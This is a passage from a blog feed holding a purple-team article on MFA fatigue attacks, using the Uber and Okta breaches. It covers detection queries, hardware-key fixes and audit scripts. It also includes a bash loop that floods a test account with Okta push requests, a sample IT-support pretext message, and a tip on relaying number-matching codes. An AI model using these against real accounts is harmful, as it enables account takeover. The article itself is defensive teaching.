<p>Get EP07 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fcicd-secrets-exposure-supply-chain%2F&amp;linkname=CI%2FCD%20Secrets%20Exposure%3A%20How%20Supply%20Chain%20Attacks%20Target%20Your%20Pipeline" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fcicd-secrets-exposure-supply-chain%2F&amp;linkname=CI%2FCD%20Secrets%20Exposure%3A%20How%20Supply%20Chain%20Attacks%20Target%20Your%20Pipeline" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fcicd-secrets-exposure-supply-chain%2F&amp;linkname=CI%2FCD%20Secrets%20Exposure%3A%20How%20Supply%20Chain%20Attacks%20Target%20Your%20Pipeline" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fcicd-secrets-exposure-supply-chain%2F&amp;linkname=CI%2FCD%20Secrets%20Exposure%3A%20How%20Supply%20Chain%20Attacks%20Target%20Your%20Pipeline" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fcicd-secrets-exposure-supply-chain%2F&amp;linkname=CI%2FCD%20Secrets%20Exposure%3A%20How%20Supply%20Chain%20Attacks%20Target%20Your%20Pipeline" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fcicd-secrets-exposure-supply-chain%2F&amp;linkname=CI%2FCD%20Secrets%20Exposure%3A%20How%20Supply%20Chain%20Attacks%20Target%20Your%20Pipeline" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fcicd-secrets-exposure-supply-chain%2F&amp;linkname=CI%2FCD%20Secrets%20Exposure%3A%20How%20Supply%20Chain%20Attacks%20Target%20Your%20Pipeline" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fcicd-secrets-exposure-supply-chain%2F&#038;title=CI%2FCD%20Secrets%20Exposure%3A%20How%20Supply%20Chain%20Attacks%20Target%20Your%20Pipeline" data-a2a-url="https://linuxcent.com/cicd-secrets-exposure-supply-chain/" data-a2a-title="CI/CD Secrets Exposure: How Supply Chain Attacks Target Your Pipeline"></a></p><p>The post <a href="https://linuxcent.com/cicd-secrets-exposure-supply-chain/">CI/CD Secrets Exposure: How Supply Chain Attacks Target Your Pipeline</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/cicd-secrets-exposure-supply-chain/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1858</post-id>	</item>
		<item>
		<title>MFA Fatigue Attacks: How Uber Got Breached and How to Stop It</title>
		<link>https://linuxcent.com/mfa-fatigue-attack-uber-okta/</link>
					<comments>https://linuxcent.com/mfa-fatigue-attack-uber-okta/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Wed, 10 Jun 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[Identity Security]]></category>
		<category><![CDATA[MFA]]></category>
		<category><![CDATA[MFA Fatigue]]></category>
		<category><![CDATA[Okta]]></category>
		<category><![CDATA[OWASP]]></category>
		<category><![CDATA[Uber Breach]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1855</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 10</span> <span class="rt-label rt-postfix">minutes</span></span>MFA fatigue attacks exploit push-based MFA UX — not weak passwords. Anatomy of the Uber and Okta breaches and why hardware keys are the only structural fix.</p>
<p>The post <a href="https://linuxcent.com/mfa-fatigue-attack-uber-okta/">MFA Fatigue Attacks: How Uber Got Breached and How to Stop It</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 10</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a> → <a href="/broken-access-control-aws/">Broken access control in AWS</a> → <strong>MFA fatigue attacks</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>An <strong>MFA fatigue attack</strong> exploits push-notification MFA (Duo, Okta Verify, Microsoft Authenticator) by flooding a user with push requests until they accept one — either out of exhaustion or after social engineering</li>
<li>Uber (September 2022): contractor credentials purchased on a criminal marketplace → repeated Duo push notifications → WhatsApp social engineering → push accepted → admin PAM credentials found on internal file share → full access to AWS, GCP, Slack, HackerOne</li>
<li>The attack works because push MFA creates a UX habit: &#8220;tap accept&#8221; is a trained response, not a decision</li>
<li>Detection: multiple MFA failures followed by a single success in a short window — Okta System Log, Azure AD Sign-in Log, AWS CloudTrail</li>
<li>The structural fix is replacing push MFA with phishing-resistant FIDO2 hardware keys — not security awareness training, not more push notifications, not &#8220;number matching&#8221; alone</li>
<li>Okta (October 2023): support system breach exposed session tokens → attackers bypassed MFA entirely by using stolen session context</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> A07 Identification and Authentication Failures. The Uber breach is the defining infrastructure example. Okta demonstrates session token theft as a related A07 variant.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────┐
│                    MFA FATIGUE ATTACK ANATOMY                       │
│                                                                     │
│   STEP 1: OBTAIN CREDENTIALS                                        │
│   Attacker ──── phish / buy on market ──────&#x25b6; username + password  │
│                                                                     │
│   STEP 2: TRIGGER MFA FLOOD                                         │
│   Attacker ──── repeated login attempts ────&#x25b6; Push #1 → User: NO   │
│                                               Push #2 → User: NO   │
│                                               Push #3 → User: NO   │
│                                               Push #4 → User: ???   │
│                                                                     │
│   STEP 3: SOCIAL ENGINEERING LAYER                                  │
│   Attacker ──── &quot;Hi, I&#039;m from IT support.                           │
│                  Please accept the next push.&quot;                      │
│                                               Push #4 → User: YES  │
│                                                                     │
│   STEP 4: ACCESS                                                    │
│   Attacker ──── authenticated session ──────&#x25b6; Internal network      │
│                                               Enumerate shares      │
│                                               Find next credential  │
│                                                                     │
│   ═══════════════════════════════════════════════════════           │
│   WHY TRAINING DOESN&#039;T HELP:                                        │
│   Push MFA trains users to tap accept. The attacker exploits        │
│   the trained behavior. Education competes with habit.              │
│                                                                     │
│   WHY HARDWARE KEYS DO:                                             │
│   FIDO2 requires physical presence. WhatsApp message                │
│   cannot accept a hardware key challenge.                           │
└─────────────────────────────────────────────────────────────────────┘
</code></pre>
<p>An <strong>MFA fatigue attack</strong> is how you bypass multi-factor authentication without breaking encryption or stealing the MFA seed — you exploit the user&#8217;s psychology and the UX of push-notification systems. The attacker knows the password. The only thing standing between them and access is the user&#8217;s willingness to tap &#8220;deny&#8221; indefinitely.</p>
<hr />
<h2 id="the-uber-breach-anatomy-minute-by-minute">The Uber Breach: Anatomy Minute by Minute</h2>
<p>September 15, 2022. The attacker&#8217;s capabilities: a purchased credential set for an Uber contractor account, a phone number, and patience.</p>
<p><strong>The credential acquisition:</strong> Uber contractor credentials were available on criminal marketplaces. The attacker obtained a valid username and password for an Uber contractor&#8217;s Uber corporate account.</p>
<p><strong>The MFA flood:</strong></p>
<p>The contractor&#8217;s account had Duo push-based MFA enrolled. The attacker initiated login attempts repeatedly, triggering a sequence of Duo push notifications to the contractor&#8217;s phone. The contractor rejected three or four of them. At this point, most attacks would stop — but the attacker added a social engineering layer.</p>
<p><strong>The WhatsApp message:</strong></p>
<p>The attacker sent a WhatsApp message to the contractor&#8217;s number, claiming to be from Uber IT support:</p>
<blockquote>
<p>&#8220;Hi, this is the Uber IT support team. We&#8217;re seeing some issues with your account and need you to approve the next Duo notification to verify your identity.&#8221;</p>
</blockquote>
<p>The contractor accepted the next push notification.</p>
<p><strong>Post-authentication enumeration:</strong></p>
<p>With an authenticated session, the attacker accessed Uber&#8217;s internal network. On an internal network share accessible to contractors, they found a PowerShell script. In that script: hardcoded Thycotic admin credentials. Thycotic is a Privileged Access Management (PAM) system — it stores credentials for privileged accounts across an organization.</p>
<p><strong>The blast radius:</strong></p>
<p>With Thycotic admin access, the attacker retrieved credentials for:<br />
&#8211; AWS IAM accounts<br />
&#8211; GCP service accounts<br />
&#8211; Google Workspace admin<br />
&#8211; VMware vSphere<br />
&#8211; Slack workspace admin<br />
&#8211; HackerOne bug bounty program admin (including details of open security reports)</p>
<p>The entire Uber infrastructure was accessible from one contractor&#8217;s push notification acceptance.</p>
<p><strong>What Uber&#8217;s logs showed:</strong></p>
<pre><code class="" data-line="">2022-09-15T02:17:00Z  [Duo] user=contractor@uber.com  action=push_sent  result=rejected
2022-09-15T02:17:45Z  [Duo] user=contractor@uber.com  action=push_sent  result=rejected
2022-09-15T02:18:30Z  [Duo] user=contractor@uber.com  action=push_sent  result=rejected
2022-09-15T02:19:15Z  [Duo] user=contractor@uber.com  action=push_sent  result=rejected
2022-09-15T02:22:00Z  [Duo] user=contractor@uber.com  action=push_sent  result=approved
2022-09-15T02:22:05Z  [VPN] user=contractor@uber.com  connection=established  ip=&lt;attacker&gt;
</code></pre>
<p>Four rejections followed by one approval in a five-minute window. This is a detectable pattern — but only if someone is looking for it.</p>
<hr />
<h2 id="red-phase-simulating-mfa-fatigue">Red Phase: Simulating MFA Fatigue</h2>
<h3 id="what-the-attack-looks-like-in-tooling">What the Attack Looks Like in Tooling</h3>
<p>MFA fatigue attacks are conducted manually — an attacker with valid credentials and knowledge of which MFA system the target uses. No special tooling is required for the attack itself. What can be simulated:</p>
<p><strong>Option 1: Repeated legitimate login attempts (test account only)</strong></p>
<pre><code class="" data-line=""># DO NOT run against production accounts or accounts you don&#039;t own

# Using Okta API to authenticate (test environment only)
TEST_USERNAME=&quot;testuser@yourdomain.com&quot;
TEST_PASSWORD=&quot;TestPassword123!&quot;
OKTA_DOMAIN=&quot;your-org.okta.com&quot;

for i in {1..5}; do
  echo &quot;Attempt $i at $(date +%T)&quot;
  response=$(curl -s -X POST \
    &quot;https://${OKTA_DOMAIN}/api/v1/authn&quot; \
    -H &quot;Content-Type: application/json&quot; \
    -d &quot;{\&quot;username\&quot;: \&quot;${TEST_USERNAME}\&quot;, \&quot;password\&quot;: \&quot;${TEST_PASSWORD}\&quot;}&quot;)

  status=$(echo &quot;$response&quot; | jq -r &#039;.status&#039;)
  echo &quot;  Status: $status&quot;

  if [ &quot;$status&quot; = &quot;MFA_CHALLENGE&quot; ]; then
    state_token=$(echo &quot;$response&quot; | jq -r &#039;.stateToken&#039;)
    factor_id=$(echo &quot;$response&quot; | jq -r &#039;._embedded.factors[] | select(.factorType == &quot;push&quot;) | .id&#039;)
    echo &quot;  Factor ID: $factor_id (push notification triggered)&quot;

    # In a real attack, the attacker would poll for the MFA response:
    echo &quot;  Waiting 10 seconds for user to respond...&quot;
    sleep 10
  fi

  sleep 30  # Wait between attempts to avoid rate limiting
done
</code></pre>
<p><strong>Option 2: Tabletop exercise (no credentials required)</strong></p>
<p>For organizations that cannot run live credential tests, the tabletop simulation maps the attack against your specific IdP logs. Pull 30 days of authentication logs and look for the pattern:</p>
<pre><code class="" data-line=""># Okta System Log: find users with multiple MFA failures followed by success
curl -H &quot;Authorization: SSWS ${OKTA_API_TOKEN}&quot; \
  &quot;https://your-org.okta.com/api/v1/logs?filter=eventType+eq+\&quot;user.authentication.auth_via_mfa\&quot;&amp;limit=1000&quot; | \
  jq &#039;
    group_by(.actor.id) |
    map({
      user: .[0].actor.displayName,
      total: length,
      failures: [.[] | select(.outcome.result == &quot;FAILURE&quot;)] | length,
      successes: [.[] | select(.outcome.result == &quot;SUCCESS&quot;)] | length
    }) |
    sort_by(.failures) |
    reverse |
    .[0:20]
  &#039;
</code></pre>
<p>Users with high failure counts followed by eventual success are the fatigue attack pattern. Some will be legitimate (user locked themselves out, then called IT). The ones to investigate are those where the failure-to-success sequence happened in a short window (under 30 minutes) and from an unusual IP.</p>
<hr />
<h2 id="blue-phase-detection-across-identity-providers">Blue Phase: Detection Across Identity Providers</h2>
<h3 id="okta-push-notification-flood">Okta: Push Notification Flood</h3>
<pre><code class="" data-line=""># Okta System Log — detect repeated push failures from same user
# Query for: &gt;3 push failures within 10 minutes for same user
curl -H &quot;Authorization: SSWS ${OKTA_API_TOKEN}&quot; \
  &quot;https://your-org.okta.com/api/v1/logs?filter=eventType+eq+\&quot;user.authentication.auth_via_mfa\&quot;+and+outcome.result+eq+\&quot;FAILURE\&quot;&amp;since=$(date -u -d &#039;24 hours ago&#039; +%Y-%m-%dT%H:%M:%SZ)&quot; | \
  jq &#039;
    group_by(.actor.id, (.published[0:16])) |
    map(select(length &gt;= 3)) |
    map({
      user: .[0].actor.displayName,
      window: .[0].published[0:16],
      failure_count: length,
      ips: [.[].client.ipAddress] | unique
    })
  &#039;
</code></pre>
<h3 id="azure-ad-conditional-access-logs">Azure AD: Conditional Access Logs</h3>
<pre><code class="" data-line=""># Azure AD: MFA push denial flood detection (using Azure CLI)
az monitor activity-log list \
  --start-time &quot;$(date -u -d &#039;24 hours ago&#039; +%Y-%m-%dT%H:%M:%SZ)&quot; \
  --query &quot;[?contains(operationName.value, &#039;MFA&#039;)].{user:caller,time:eventTimestamp,result:status.value}&quot; \
  --output table
</code></pre>
<p>In Microsoft Sentinel, the detection rule for MFA fatigue:</p>
<pre><code class="" data-line="">// Azure AD MFA Fatigue Detection — Sentinel KQL
SigninLogs
| where TimeGenerated &gt; ago(24h)
| where AuthenticationRequirement == &quot;multiFactorAuthentication&quot;
| where ResultType != &quot;0&quot;  // Non-success
| summarize
    FailureCount = count(),
    SuccessCount = countif(ResultType == &quot;0&quot;),
    IPs = make_set(IPAddress),
    StartTime = min(TimeGenerated),
    EndTime = max(TimeGenerated)
    by UserPrincipalName, bin(TimeGenerated, 10m)
| where FailureCount &gt;= 3
| where SuccessCount &gt;= 1
| where datetime_diff(&#039;minute&#039;, EndTime, StartTime) &lt;= 30
| project UserPrincipalName, FailureCount, SuccessCount, IPs, StartTime, EndTime
| order by FailureCount desc
</code></pre>
<h3 id="aws-cloudtrail-console-session-after-mfa-flood">AWS CloudTrail: Console Session After MFA Flood</h3>
<p>If your organization uses AWS SSO (IAM Identity Center) with an external IdP, the CloudTrail event that matters is the console login event immediately following the MFA success:</p>
<pre><code class="" data-line=""># Find AWS console login events from unusual IPs
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=ConsoleLogin \
  --start-time &quot;$(date -d &#039;24 hours ago&#039; --iso-8601=seconds)&quot; \
  --query &#039;Events[].{Time:EventTime,User:Username,IP:CloudTrailEvent}&#039; \
  --output json | \
  jq &#039;.[] | {
    time: .Time,
    user: .User,
    ip: (.IP | fromjson | .sourceIPAddress),
    mfa: (.IP | fromjson | .additionalEventData.MFAUsed)
  }&#039;
</code></pre>
<h3 id="what-a-guardduty-alert-looks-like-for-this-attack">What a GuardDuty Alert Looks Like for This Attack</h3>
<p>GuardDuty does not generate a specific finding for MFA fatigue (it does not have visibility into IdP logs). What it may catch downstream:</p>
<ul>
<li><code class="" data-line="">UnauthorizedAccess:IAMUser/ConsoleLoginSuccess.B</code> — console login from unusual geographic location or Tor exit node</li>
<li><code class="" data-line="">Discovery:IAMUser/AnomalousBehavior</code> — if the attacker begins enumerating IAM after console access</li>
</ul>
<p>The gap: GuardDuty&#8217;s behavioral analysis is per-account. If the attacker logs in using valid credentials and MFA, GuardDuty may not flag the initial access — only downstream actions that deviate from baseline.</p>
<hr />
<h2 id="purple-phase-the-structural-fix">Purple Phase: The Structural Fix</h2>
<h3 id="fix-1-replace-push-mfa-with-fido2-hardware-keys-for-tier-0-accounts">Fix 1: Replace Push MFA with FIDO2 Hardware Keys (for Tier-0 Accounts)</h3>
<p>This is the only structural fix. MFA fatigue attacks work because push notifications can be approved by a human who is socially engineered. FIDO2 hardware keys (YubiKey, Google Titan, etc.) require physical possession of the key and a user gesture (touch). A WhatsApp message cannot substitute for physical key presence.</p>
<pre><code class="" data-line=""># Okta: Require hardware key MFA for admin accounts
# (done via Okta Admin Console → Security → Authentication Policies)
# CLI example using Okta API:

# Create a new authentication policy requiring hardware authenticator
curl -X POST \
  &quot;https://your-org.okta.com/api/v1/policies&quot; \
  -H &quot;Authorization: SSWS ${OKTA_API_TOKEN}&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d &#039;{
    &quot;name&quot;: &quot;Admin Hardware Key Policy&quot;,
    &quot;type&quot;: &quot;ACCESS_POLICY&quot;,
    &quot;status&quot;: &quot;ACTIVE&quot;,
    &quot;description&quot;: &quot;Requires FIDO2 hardware key for admin access&quot;
  }&#039;
</code></pre>
<p><strong>Phasing hardware keys across an organization:</strong></p>
<table>
<thead>
<tr>
<th>Tier</th>
<th>Examples</th>
<th>Timeline</th>
</tr>
</thead>
<tbody>
<tr>
<td>Tier 0 — immediate</td>
<td>Cloud admin, IAM admin, Okta admin, DNS admin</td>
<td>Week 1</td>
</tr>
<tr>
<td>Tier 1 — 30 days</td>
<td>All engineers with production access</td>
<td>Month 1</td>
</tr>
<tr>
<td>Tier 2 — 90 days</td>
<td>All employees with SSO access</td>
<td>Month 3</td>
</tr>
<tr>
<td>Contractors</td>
<td>Scope-limited access, enforce at boundary</td>
<td>Immediate</td>
</tr>
</tbody>
</table>
<h3 id="fix-2-number-matching-intermediate-mitigation">Fix 2: Number Matching (Intermediate Mitigation)</h3>
<p>If hardware keys cannot be deployed immediately, number matching significantly reduces MFA fatigue effectiveness. Instead of a simple &#8220;approve/deny&#8221; push, the user must match a number shown on the login screen to a number shown in the authenticator app. This breaks the fatigue pattern — the attacker cannot trigger an approval without the user actively entering the correct number.</p>
<pre><code class="" data-line=""># Duo: Enable number matching
# Duo Admin Console → Policies → Duo Push Number Matching: Required

# Microsoft Authenticator: Enable number matching
# Azure AD → Security → Authentication methods → Microsoft Authenticator
# Enable: &quot;Require number matching for push notifications&quot;

# Okta Verify: Enable TOTP-bound push
# Okta Admin → Security → Multifactor → Okta Verify → Enable &quot;Number Challenge&quot;
</code></pre>
<h3 id="fix-3-detect-and-block-automated-response-to-fatigue-pattern">Fix 3: Detect and Block — Automated Response to Fatigue Pattern</h3>
<pre><code class="" data-line="">#!/usr/bin/env python3
# Purple Team EP05 — MFA Fatigue Auto-Response
# Monitors Okta System Log; suspends user on fatigue pattern detection
# Run as a Lambda function or scheduled script in your SIEM pipeline

import boto3
import requests
import json
from datetime import datetime, timedelta

OKTA_DOMAIN = &quot;your-org.okta.com&quot;
OKTA_TOKEN = &quot;your-okta-api-token&quot;  # use Secrets Manager in production
SNS_TOPIC_ARN = &quot;arn:aws:sns:us-east-1:123456789012:security-alerts&quot;

def get_recent_mfa_events(hours=1):
    since = (datetime.utcnow() - timedelta(hours=hours)).strftime(&quot;%Y-%m-%dT%H:%M:%SZ&quot;)
    url = f&quot;https://{OKTA_DOMAIN}/api/v1/logs&quot;
    params = {
        &quot;filter&quot;: &#039;eventType eq &quot;user.authentication.auth_via_mfa&quot;&#039;,
        &quot;since&quot;: since,
        &quot;limit&quot;: 1000
    }
    headers = {&quot;Authorization&quot;: f&quot;SSWS {OKTA_TOKEN}&quot;}
    response = requests.get(url, params=params, headers=headers)
    return response.json()

def detect_fatigue_pattern(events, failure_threshold=3, window_minutes=10):
    user_events = {}
    for event in events:
        user_id = event[&quot;actor&quot;][&quot;id&quot;]
        user_name = event[&quot;actor&quot;][&quot;displayName&quot;]
        result = event[&quot;outcome&quot;][&quot;result&quot;]
        timestamp = event[&quot;published&quot;]

        if user_id not in user_events:
            user_events[user_id] = {&quot;name&quot;: user_name, &quot;events&quot;: []}
        user_events[user_id][&quot;events&quot;].append({&quot;result&quot;: result, &quot;time&quot;: timestamp})

    fatigue_users = []
    for user_id, data in user_events.items():
        events_sorted = sorted(data[&quot;events&quot;], key=lambda x: x[&quot;time&quot;])
        failures = [e for e in events_sorted if e[&quot;result&quot;] == &quot;FAILURE&quot;]

        if len(failures) &gt;= failure_threshold:
            # Check if a success followed the failures
            last_failure_time = failures[-1][&quot;time&quot;]
            successes_after = [
                e for e in events_sorted
                if e[&quot;result&quot;] == &quot;SUCCESS&quot; and e[&quot;time&quot;] &gt; last_failure_time
            ]
            if successes_after:
                fatigue_users.append({
                    &quot;user_id&quot;: user_id,
                    &quot;user_name&quot;: data[&quot;name&quot;],
                    &quot;failure_count&quot;: len(failures),
                    &quot;success_after_failures&quot;: True
                })

    return fatigue_users

def alert_security_team(fatigue_users):
    sns = boto3.client(&quot;sns&quot;)
    message = f&quot;MFA FATIGUE ALERT — {len(fatigue_users)} user(s) detected:\n&quot;
    for user in fatigue_users:
        message += f&quot;  - {user[&#039;user_name&#039;]}: {user[&#039;failure_count&#039;]} failures then success\n&quot;

    sns.publish(
        TopicArn=SNS_TOPIC_ARN,
        Subject=&quot;Purple Team: MFA Fatigue Attack Detected&quot;,
        Message=message
    )

def lambda_handler(event, context):
    events = get_recent_mfa_events(hours=1)
    fatigue_users = detect_fatigue_pattern(events)
    if fatigue_users:
        alert_security_team(fatigue_users)
    return {&quot;fatigue_users_detected&quot;: len(fatigue_users)}
</code></pre>
<h3 id="fix-4-privileged-access-workstations-and-session-recording">Fix 4: Privileged Access Workstations and Session Recording</h3>
<p>The Uber breach succeeded because the attacker found hardcoded credentials on a file share accessible to contractors. The downstream fix after identity:</p>
<pre><code class="" data-line=""># Ensure no scripts or configuration files contain credentials
# Run TruffleHog against your internal repositories and file shares
trufflehog filesystem /path/to/internal/share \
  --json \
  --include-detectors=all \
  2&gt;/dev/null | \
  jq &#039;{file: .SourceMetadata.Data.Filesystem.file, detector: .DetectorName, verified: .Verified}&#039;
</code></pre>
<hr />
<h2 id="run-this-in-your-own-environment-mfa-audit">Run This in Your Own Environment: MFA Audit</h2>
<pre><code class="" data-line="">#!/bin/bash
# Purple Team EP05 — MFA Coverage Audit
# Checks for push-MFA users who are A07 exposure without hardware key enrollment

echo &quot;=== AWS: Console Users Without MFA ===&quot;
aws iam generate-credential-report &gt; /dev/null 2&gt;&amp;1
sleep 5
aws iam get-credential-report --query &#039;Content&#039; --output text | base64 -d | \
  awk -F&#039;,&#039; &#039;NR&gt;1 &amp;&amp; $4==&quot;true&quot; &amp;&amp; $8==&quot;false&quot; {
    print &quot;  USER: &quot; $1 &quot; | Console: &quot; $4 &quot; | MFA: &quot; $8
  }&#039;

echo &quot;&quot;
echo &quot;=== AWS: IAM Users with Long-Lived Access Keys (rotation risk) ===&quot;
aws iam get-credential-report --query &#039;Content&#039; --output text | base64 -d | \
  awk -F&#039;,&#039; &#039;NR&gt;1 &amp;&amp; $9!=&quot;N/A&quot; {
    cmd = &quot;date -d &quot; $10 &quot; +%s&quot;
    cmd | getline key_date; close(cmd)
    now = systime()
    age_days = int((now - key_date) / 86400)
    if (age_days &gt; 90) print &quot;  USER: &quot; $1 &quot; | KEY AGE: &quot; age_days &quot; days&quot;
  }&#039;

echo &quot;&quot;
echo &quot;=== RECOMMENDATION ===&quot;
echo &quot;  - Any console user without MFA = immediate A07 exposure&quot;
echo &quot;  - For accounts with Okta/Azure AD: run IdP-specific audit above&quot;
echo &quot;  - Hardware FIDO2 keys required for all admin accounts&quot;
</code></pre>
<hr />
<h2 id="common-mistakes-when-responding-to-mfa-fatigue-risk"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Common Mistakes When Responding to MFA Fatigue Risk</h2>
<p><strong>Mandating security training as the primary response.</strong> The Uber contractor was experienced. Training did not fail — the attacker exploited a social engineering vector that training cannot structurally prevent. Hardware keys remove the social engineering surface entirely.</p>
<p><strong>Implementing &#8220;number matching&#8221; and considering MFA fatigue solved.</strong> Number matching makes fatigue attacks harder, not impossible. A sophisticated attacker can relay the number in real time via voice call (&#8220;what number do you see on your screen?&#8221;). It buys time; it does not eliminate the attack class.</p>
<p><strong>Requiring MFA for employees but not contractors.</strong> The Uber breach was a contractor account. Contractor access policies tend to have looser MFA requirements because contractors often resist corporate MDM on personal devices. The solution is to scope contractor access tightly and require hardware key MFA at the access boundary, not push MFA.</p>
<p><strong>Not monitoring for the failure-then-success pattern.</strong> The Okta System Log, Azure AD Sign-in Logs, and Duo Admin Panel all have the data to detect MFA fatigue in real time. Most organizations generate these logs but do not have detection rules for the pattern. The detection is straightforward; the investment is adding the rule to your SIEM.</p>
<p><strong>Forgetting session tokens.</strong> The Okta breach was not MFA fatigue — it was session token theft. An attacker who can steal a valid session token does not need to beat MFA at all. Session token lifetime, storage security, and re-authentication requirements for sensitive operations are separate controls that address this variant.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Attack Variant</th>
<th>Mechanism</th>
<th>Structural Fix</th>
</tr>
</thead>
<tbody>
<tr>
<td>Push notification flood</td>
<td>Attacker initiates logins repeatedly until user accepts</td>
<td>FIDO2 hardware key MFA</td>
</tr>
<tr>
<td>Social engineering layer</td>
<td>Attacker contacts user claiming to be IT support</td>
<td>Hardware key (physical presence required)</td>
</tr>
<tr>
<td>Session token theft</td>
<td>Steal valid session without needing MFA at all</td>
<td>Short session lifetime + re-auth for sensitive ops</td>
</tr>
<tr>
<td>Number matching bypass</td>
<td>Relay number via voice call in real time</td>
<td>Hardware key (no relay possible)</td>
</tr>
<tr>
